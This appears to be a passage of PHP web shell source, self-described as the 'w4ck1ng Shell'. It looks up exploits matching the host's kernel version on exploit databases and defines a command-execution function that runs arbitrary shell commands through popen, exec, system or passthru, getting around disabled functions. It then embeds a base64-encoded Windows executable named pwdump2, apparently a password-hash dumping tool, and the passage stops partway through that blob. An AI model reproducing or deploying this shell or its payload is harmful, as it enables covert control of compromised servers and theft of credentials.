//exploit search$Lversion = php_uname(r);$OSV = php_uname(s);if(eregi('Linux',$OSV)){$Lversion=substr($Lversion,0,6);$millink="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description= ";$stormlink="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;}else{$Lversion=substr($Lversion,0,3);$millink="http://www.exploit-db.com/search/";$stormlink="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV.'+'.$Lversion;}//End of milw0rm search//w4ck1ng Shellif (!function_exists('myshellexec')){if(is_callable('popen')){function myshellexec($command) {if (!($p=popen("($command)2>&1",'r'))) {return 126;}while (!feof($p)) {$line=fgets($p,1000);$out .= $line;}pclose($p);return $out;}}else{function myshellexec($cmd){ global $disablefunc; $result = ''; if (!empty($cmd)) { if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,'r'))) { $result = ''; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result;}}}// all the base64-encoded crap comes next. they include programs and exploits, to better your hacking experience ;)$pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lWbkOqRW4fiVZuGolXbiGJVm7lqVxuG4lWbvKWXG4qiVZuUmljaBqJVm4AAAAAAAAAAFBFAABMAQMA7bzbOAAAAAAAAAAA4AAPAQsBBgAAUAAAAEAAAAAAAABHHAAAABAAAABgAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAKAAAAAQAAAAAAAAAwAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAyGQAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAESAAAABAAAABQAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAEAoAAABgAAAAEAAAAGAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAABghAAAAcAAAABAAAABwAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIPsDFNVVlcz7Wh4cEAAiWwkFP8VEGBAAIvYO911Cl9eXTPAW4PEDMOLNVRgQABoXHBAAFP/1jvFo4R9QAB1Cl9eXTPAW4PEDMNoRHBAAFP/1jvFo4h9QAB1Cl9eXTPAW4PEDMO/0AcAAFdV6H8GAACL8IPECDv1dCyNRCQQUFdWagX/FYR9QAA9BAAAwHUggcfQBwAAV1boUwYAAIvwg8QIhfZ11F9eXTPAW4PEDMOL/mbHRCQUEgBmx0QkFhQAx0QkGDBwQACLRzyFwHQVjU84agGNVCQYUVL/FYh9QACFwHQRiwczyYXAD5TBA/iFyXTV6w6LTCQgi0dEvQEAAACJAVbouAUAAIPEBFP/FXRgQABfi8VeXVuDxAzDkJCQkItEJARQaIBwQADo4gcAAIPECGoB6AMHAACQkJCQkJCQUYtEJAhTVoP4AlfHRCQMAAAAAHUci3QkGItGBFDoVgkAAIPEBIlEJAyFwHU9iw7rMIP4AXUljVQkDFLogP7//4PEBIXAdSNohHFAAOiABwAAg8QEagHooQYAAItEJBiLCFHoef///4PEBOjxAAAAhcB0EmhMcUAAaKBzQADogAcAAIPECItUJAxSagBo/w8fAP8VHGBAAIvYhdt1IP8VGGBAAFBoJHFAAGigc0AA6E8HAACDxAxqAeg/BgAAagBqAGoAagD/FRRgQACL8I1EJBhQagBWaJAVQABqAGoA/xU0YEAAi/iF/3Ug/xUYYEAAUGjwcEAAaKBzQADoAgcAAIPEDGoB6PIFAABoECcAAFaLNTBgQAD/1oXAdCD/FRhgQABQaMBwQABooHNAAOjQBgAAg8QMagHowAUAAFPo3gAAAIPEBGr/V//WX14zwFtZw5CQkJCQkJCQkJCQkJCQkIPsFI1EJABWUGogx0QkDAAAAAAz9v8VJGBAAFD/FQBgQACFwHUQ/xUYYEAAi/BWaDhyQADrYI1MJAxRaCRyQABqAP8VBGBAAIXAdRD/FRhgQACL8FZoBHJAAOs6i0QkBGoAagCNVCQQagBSagBQx0QkLAIAAADHRCQgAQAAAP8VCGBAAIXAdRv/FRhgQACL8FZo3HFAAGigc0AA6AIGAACDxAyLRCQEhcB0B1D/FSBgQACLxl6DxBTDkJCQkJCQkIHsKAQAAFNWV2gMc0AA/xUQYEAAiz1UYEAAi/Bo/HJAAFb/12jsckAAVomEJCABAAD/12jgckAAVomEJCQBAAD/14mEJCABAACNRCQUaAQBAABQagD/FTxgQACNTCQUalxR6FkIAACLFdRyQABAaAUBAACJEIsN2HJAAIlIBIsV3HJAAI2MJDABAACJUAiNRCQgUFHoJwcAAGgFAQAAjZQkQQIAAGjMckAAUugQBwAAg8Qg/xU4YEAAUGi4ckAAjYQkNgMAAGgFAQAAUOiSBgAAi5wkSAQAAL6AFUAAg8QQge5AFUAAagSNjiADAABoABAAAFFqAFP/FVhgQACL+IX/dSP/FRhgQABQaJxyQABooHNAAOjJBAAAg8QMX15bgcQoBAAAw41UJAxVUo2EJCABAABoHAMAAFBXU/8VXGBAAIXAdB2NTCQQja8gAwAAUVZoQBVAAFVT/xVcYEAAhcB1G/8VGGBAAFBofHJAAGigc0AA6GoEAACDxAzrSY1UJBRSagBXVWoAagBT/xUsYEAAi/CF9nUb/xUYYEAAUGhcckAAaKBzQADoNQQAAIPEDOsJav9W/xUwYEAAhfZ0B1b/FSBgQABoAIAAAGoAV1P/FShgQABdX15bgcQoBAAAw1NWi3QkDFeDy/+NRgxQ/xaL+IX/dCGNjhEBAABRV/9WBIXAdA6NlhYCAABS/9CDxASL2Ff/Vghfi8NeW8OQkJDDkJCQkJCQkJCQkJCQkJCQgewMBQAAU1b/FThgQABQaLhyQACNRCQUaAQBAABQ6BAFAACDxBCNTCQMagBoECcAAGgABAAAaAAEAABqAWoAaAEAAIBR/xVQYEAAi/CF9nUi/xUYYEAAUGg8c0AAaKBzQADoSwMAAIPEDF5bgcQMBQAAw4uUJBgFAABS/xVMYEAAagBW/xVIYEAAix0YYEAAhcB1Lv/TPRcCAAB0Jf/TUGgcc0AAaKBzQADoAwMAAIPEDFb/FSBgQABeW4HEDAUAAMNViy1EYEAAVzP/jUQkEGoAUI2MJCABAABoAAQAAFFW/9WFwHQji1QkEI2EJBgBAABQaBhzQADGhBQgAQAAAOh8AgAAg8QI6wT/04v4g/9tdblW/xVAYEAAVv8VIGBAAF9dXluBxAwFAADDkJCQkFaLdCQIhfZ0JFboGgcAAFmFwFZ0ClDoOQcAAFlZXsNqAP813IBAAP8VZGBAAF7DU4tcJAhVVoXbV3UP/3QkGOhBFQAAWekAAQAAi3QkGIX2dQ5T6Kj///9ZM8Dp6gAAADP/g/7gD4fAAAAAU+i4BgAAi+hZhe0PhIwAAAA7Nex1QAB3RFZTVeioDgAAg8QMhcB0BIv76ylW6OIJAACL+FmF/3Qki0P8SDvGcgKLxlBTV+iaEQAAU1XolwYAAIPEFIX/D4WAAAAAhfZ1A2oBXoPGD4Pm8FZqAP813IBAAP8VbGBAAIv4hf90QYtD/Eg7xnICi8ZQU1foVBEAAFNV6FEGAACDxBTrH4X2dQNqAV6Dxg+D5vBWU2oA/zXcgEAA/xVoYEAAi/iF/3Udgz0wfEAAAHQUVujwEAAAhcBZD4Ud////6RH///+Lx19eXVvDoRSRQACFwHQC/9BoFHBAAGgIcEAA6M4AAABoBHBAAGgAcEAA6L8AAACDxBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PRh8QAB1Ef90JAj/FSRgQABQ/xVgYEAAg3wkDABTi1wkFIk9FHxAAIgdEHxAAHU8oRCRQACFwHQiiw0MkUAAVo1x/DvwchOLBoXAdAL/0IPuBDs1EJFAAHPtXmggcEAAaBhwQADoKgAAAFlZaChwQABoJHBAAOgZAAAAWVmF21t1EP90JAiJPRh8QAD/FXBgQABfw1aLdCQIO3QkDHMNiwaFwHQC/9CDxgTr7V7DU1a+gHNAAFdW6JoTAACL+I1EJBhQ/3QkGFboUxQAAFZXi9joDRQAAIPEGIvDX15bw1WL7FZX/3UI6GoTAACL8I1FEFD/dQz/dQjoIxQAAP91CIv4VujbEwAAg8QYi8dfXl3DoQCRQABWahSFwF51B7gAAgAA6wY7xn0Hi8ajAJFAAGoEUOidHQAAWaPkgEAAhcBZdSFqBFaJNQCRQADohB0AAFmj5IBAAIXAWXUIahroYAMAAFkzybhgc0AAixXkgEAAiQQRg8Agg8EEPeB1QAB86jPSuXBzQACLwovywfgFg+YfiwSFwH9AAIsE8IP4/3QEhcB1A4MJ/4PBIEKB+dBzQAB81F7D6IYeAACAPRB8QAAAdAXpiR0AAMNTVVZXi3wkFIM9DHhAAAF+Dw+2B2oIUOjRHgAAWVnrDw+2B4sNAHZAAIoEQYPgCIXAdANH69IPtjdHg/4ti+50BYP+K3UED7Y3RzPbgz0MeEAAAX4MagRW6JAeAABZWesLoQB2QACKBHCD4ASFwHQNjQSbjVxG0A+2N0frz4P9LYvDdQL32F9eXVvD/3QkBOhs////WcNVi+yD7CCLRQhWiUXoiUXgi0UMx0XsQgAAAIlF5I1FFFCNReD/dRBQ6JMSAACDxAz/TeSL8HgIi0XggCAA6w2NReBQagDotx4AAFlZi8ZeycPMzMzMzMzMzMzMzMyLTCQMV4XJdHpWU4vZi3QkFPfGAwAAAIt8JBB1B8HpAnVv6yGKBkaIB0dJdCWEwHQp98YDAAAAdeuL2cHpAnVRg+MDdA2KBkaIB0eEwHQvS3Xzi0QkEFteX8P3xwMAAAB0EogHR0kPhIoAAAD3xwMAAAB17ovZwekCdWyIB0dLdfpbXotEJAhfw4kXg8cESXSvuv/+/n6LBgPQg/D/M8KLFoPGBKkAAQGBdN6E0nQshPZ0HvfCAAD/AHQM98IAAAD/dcaJF+sYgeL//wAAiRfrDoHi/wAAAIkX6wQz0okXg8cEM8BJdAozwIkHg8cESXX4g+MDdYWLRCQQW15fw8zMVYvsV4t9CDPAg8n/8q5B99lPikUM/fKuRzgHdAQzwOsCi8f8X8nDVYvsav9o8GBAAGiQQUAAZKEAAAAAUGSJJQAAAACD7BBTVleJZej/FXxgQAAz0orUiRXoe0AAi8iB4f8AAACJDeR7QADB4QgDyokN4HtAAMHoEKPce0AAagDoygAAAFmFwHUIahzomgAAAFmDZfwA6NIYAAD/FXhgQACj4IBAAOiYIgAAoyB8QADoQSAAAOiDHwAA6DD7//+h+HtAAKP8e0AAUP818HtAAP817HtAAOhF9P//g8QMiUXkUOg1+///i0XsiwiLCYlN4FBR6MEdAABZWcOLZej/deDoJ/v//4M9KHxAAAJ0Beg0JQAA/3QkBOhkJQAAaP8AAAD/FeB1QABZWcODPSh8QAACdAXoDyUAAP90JAToPyUAAFlo/wAAAP8VcGBAAMMzwGoAOUQkCGgAEAAAD5TAUP8VhGBAAIXAo9yAQAB0FegXAAAAhcB1D/813IBAAP8VgGBAADPAw2oBWMNoQAEAAGoA/zXcgEAA/xVsYEAAhcCj2IBAAHUBw4Ml0IBAAACDJdSAQAAAagGjzIBAAMcFxIBAABAAAABYw6HUgEAAjQyAodiAQACNDIg7wXMUi1QkBCtQDIH6AAAQAHIHg8AU6+gzwMNVi+yD7BSLVQyLTQhTVotBEIvyK3EMi1r8g8L8V8HuD4vOi3r8ackEAgAAS4l9/I2MAUQBAACJXfSJTfCLDBP2wQGJTfh1f8H5BGo/SV+JTQw7z3YDiX0Mi0wTBDtMEwh1SItNDIP5IHMcvwAAAIDT741MAQT31yF8sET+CXUri00IITnrJIPB4L8AAACA0++LTQyNTAEE99chvLDEAAAA/gl1BotNCCF5BItMEwiLfBMEiXkEi0wTBIt8EwgDXfiJeQiJXfSL+8H/BE+D/z92A2o/X4tN/IPhAYlN7A+FoAAAACtV/ItN/MH5BGo/iVX4SVo7yolNDHYFiVUMi8oDXfyL+4ld9MH/BE87+nYCi/o7z3Rri034i1EEO1EIdUiLTQyD+SBzHLoAAACA0+qNTAEE99IhVLBE/gl1K4tNCCER6ySDweC6AAAAgNPqi00MjUwBBPfSIZSwxAAAAP4JdQaLTQghUQSLTfiLUQiLSQSJSgSLTfiLUQSLSQiJSgiLVfiDfewAdQk5fQwPhIkAAACLTfCNDPmLSQSJSgSLTfCNDPmJSgiJUQSLSgSJUQiLSgQ7Sgh1Y4pMBwSD/yCITQ/+wYhMBwRzJYB9DwB1DrsAAACAi8/T64tNCAkZuwAAAICLz9PrjUSwRAkY6ymAfQ8AdRCNT+C7AAAAgNPri00ICVkEjU/gvwAAAIDT742EsMQAAAAJOItd9ItF8IkaiVwT/P8ID4X6AAAAodCAQACFwA+E3wAAAIsNyIBAAIs9iGBAAMHhDwNIDLsAgAAAaABAAABTUf/Xiw3IgEAAodCAQAC6AAAAgNPqCVAIodCAQACLDciAQACLQBCDpIjEAAAAAKHQgEAAi0AQ/khDodCAQACLSBCAeUMAdQmDYAT+odCAQACDeAj/dWxTagD/cAz/16HQgEAA/3AQagD/NdyAQAD/FWRgQACh1IBAAIsV2IBAAI0EgMHgAovIodCAQAAryI1MEexRjUgUUVDo+SIAAItFCIPEDP8N1IBAADsF0IBAAHYDg+gUiw3YgEAAiQ3MgEAA6wOLRQij0IBAAIk1yIBAAF9eW8nDVYvsg+wUodSAQACLFdiAQABTVo0EgFeNPIKLRQiJffyNSBeD4fCJTfDB+QRJg/kgfQ6Dzv/T7oNN+P+JdfTrEIPB4IPI/zP20+iJdfSJRfihzIBAAIvYO9+JXQhzGYtLBIs7I034I/4Lz3ULg8MUO138iV0Icuc7Xfx1eYvaO9iJXQhzFYtLBIs7I034I/4Lz3UFg8MU6+Y72HVZO138cxGDewgAdQiDwxSJXQjr7Ttd/HUmi9o72IldCHMNg3sIAHUFg8MU6+472HUO6DgCAACL2IXbiV0IdBRT6NoCAABZi0sQiQGLQxCDOP91BzPA6Q8CAACJHcyAQACLQxCLEIP6/4lV/HQUi4yQxAAAAIt8kEQjTfgj/gvPdTeLkMQAAACLcEQjVfgjdfSDZfwAjUhEC9aLdfR1F4uRhAAAAP9F/CNV+IPBBIv+IzkL13Tpi1X8i8oz/2nJBAIAAI2MAUQBAACJTfSLTJBEI851DYuMkMQAAABqICNN+F+FyXwF0eFH6/eLTfSLVPkEiworTfCL8YlN+MH+BE6D/j9+A2o/Xjv3D4QNAQAAi0oEO0oIdWGD/yB9K7sAAACAi8/T64tN/I18OAT304ld7CNciESJXIhE/g91OItdCItN7CEL6zGNT+C7AAAAgNPri038jXw4BI2MiMQAAAD30yEZ/g+JXex1C4tdCItN7CFLBOsDi10Ii0oIi3oEg334AIl5BItKBIt6CIl5CA+ElAAAAItN9It88QSNDPGJegSJSgiJUQSLSgSJUQiLSgQ7Sgh1ZIpMBgSD/iCITQt9Kf7BgH0LAIhMBgR1C78AAACAi87T7wk7vwAAAICLztPvi038CXyIROsv/sGAfQsAiEwGBHUNjU7gvwAAAIDT7wl7BItN/I28iMQAAACNTuC+AAAAgNPuCTeLTfiFyXQLiQqJTBH86wOLTfiLdfAD0Y1OAYkKiUwy/It19IsOhcmNeQGJPnUaOx3QgEAAdRKLTfw7DciAQAB1B4Ml0IBAAACLTfyJCI1CBF9eW8nDodSAQACLDcSAQABWVzP/O8F1MI1EiVDB4AJQ/zXYgEAAV/813IBAAP8VaGBAADvHdGGDBcSAQAAQo9iAQACh1IBAAIsN2IBAAGjEQQAAagiNBID/NdyAQACNNIH/FWxgQAA7x4lGEHQqagRoACAAAGgAABAAV/8VjGBAADvHiUYMdRT/dhBX/zXcgEAA/xVkYEAAM8DrF4NOCP+JPol+BP8F1IBAAItGEIMI/4vGX17DVYvsUYtNCFNWV4txEItBCDPbhcB8BdHgQ+v3i8NqP2nABAIAAFqNhDBEAQAAiUX8iUAIiUAEg8AISnX0i/tqBMHnDwN5DGgAEAAAaACAAABX/xWMYEAAhcB1CIPI/+mTAAAAjZcAcAAAO/p3PI1HEINI+P+DiOwPAAD/jYj8DwAAx0D88A8AAIkIjYj87///iUgEx4DoDwAA8A8AAAUAEAAAjUjwO8p2x4tF/I1PDAX4AQAAagFfiUgEiUEIjUoMiUgIiUEEg2SeRACJvJ7EAAAAikZDisj+wYTAi0UIiE5DdQMJeAS6AAAAgIvL0+r30iFQCIvDX15bycNVi+yD7AyLTQiLRRBTVleLfQyL141wFytRDItBEIPm8MHqD4vKackEAgAAjYwBRAEAAIlN9ItP/Ek78YlNEItcOfyNfDn8iV38D45fAQAA9sMBD4VPAQAAA9k78w+PRQEAAItN/MH5BEmD+T+JTfh2Bmo/WYlN+ItfBDtfCHVIg/kgcx+7AAAAgNPri034jUwBBPfTIVyQRP4JdSuLTQghGeskg8HguwAAAIDT64tN+I1MAQT30yGckMQAAAD+CXUGi00IIVkEi08Ii18EiVkEi08Ei38IiXkIi00QK84BTfyDffwAD46qAAAAi338i00Mwf8ET41MMfyD/z92A2o/X4td9I0c+4ldEItbBIlZBItdEIlZCIlLBItZBIlLCItZBDtZCHVcikwHBIP/IIhNE/7BiEwHBHMhgH0TAHUOuwAAAICLz9Pri00ICRmNRJBEugAAAICLz+slgH0TAHUQjU/guwAAAIDT64tNCAlZBI2EkMQAAACNT+C6AAAAgNPqCRCLVQyLTfyNRDL8iQiJTAH86wOLVQyNRgGJQvyJRDL46UcBAAAzwOlDAQAAD406AQAAi10MKXUQjU4BiUv8jVwz/It1EIldDMH+BE6JS/yD/j92A2o/XvZF/AEPhYUAAACLdfzB/gROg/4/dgNqP16LTwQ7Twh1R4P+IHMeuwAAAICLztPrjXQGBPfTIVyQRP4OdSiLTQghGeshjU7guwAAAIDT641MBgT30yGckMQAAAD+CXUGi00IIVkEi10Mi08Ii3cEiXEEi08Ei3cIiXEIi3UQA3X8iXUQwf4EToP+P3YDaj9ei030i3zxBI0M8Yl7BIlLCIlZBItLBIlZCItLBDtLCHVcikwGBIP+IIhND/7BiEwGBHMhgH0PAHUOvwAAAICLztPvi00ICTmNRJBEugAAAICLzuslgH0PAHUQjU7gvwAAAIDT74tNCAl5BI2EkMQAAACNTuC6AAAAgNPqCRCLRRCJA4lEGPxqAVhfXlvJw6EsfEAAhcB0D/90JAT/0IXAWXQEagFYwzPAw8zMzMzMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHpAoPiA4P5CHIp86X/JJVYKkAAi8e6AwAAAIPpBHIMg+ADA8j/JIVwKUAA/ySNaCpAAJD/JI3sKUAAkIApQACsKUAA0ClAACPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJVYKkAAjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klVgqQACQI9GKBogHRsHpAkeD+QhyjPOl/ySVWCpAAI1JAE8qQAA8KkAANCpAACwqQAAkKkAAHCpAABQqQAAMKkAAi0SO5IlEj+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4i0SO/IlEj/yNBI0AAAAAA/AD+P8klVgqQACL/2gqQABwKkAAfCpAAJAqQACLRQheX8nDkIoGiAeLRQheX8nDkIoGiAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMAAAB1JMHpAoPiA4P5CHIN/fOl/P8klfArQACL//fZ/ySNoCtAAI1JAIvHugMAAACD+QRyDIPgAyvI/ySF+CpAAP8kjfArQACQCCtAACgrQABQK0AAikYDI9GIRwNOwekCT4P5CHK2/fOl/P8klfArQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvA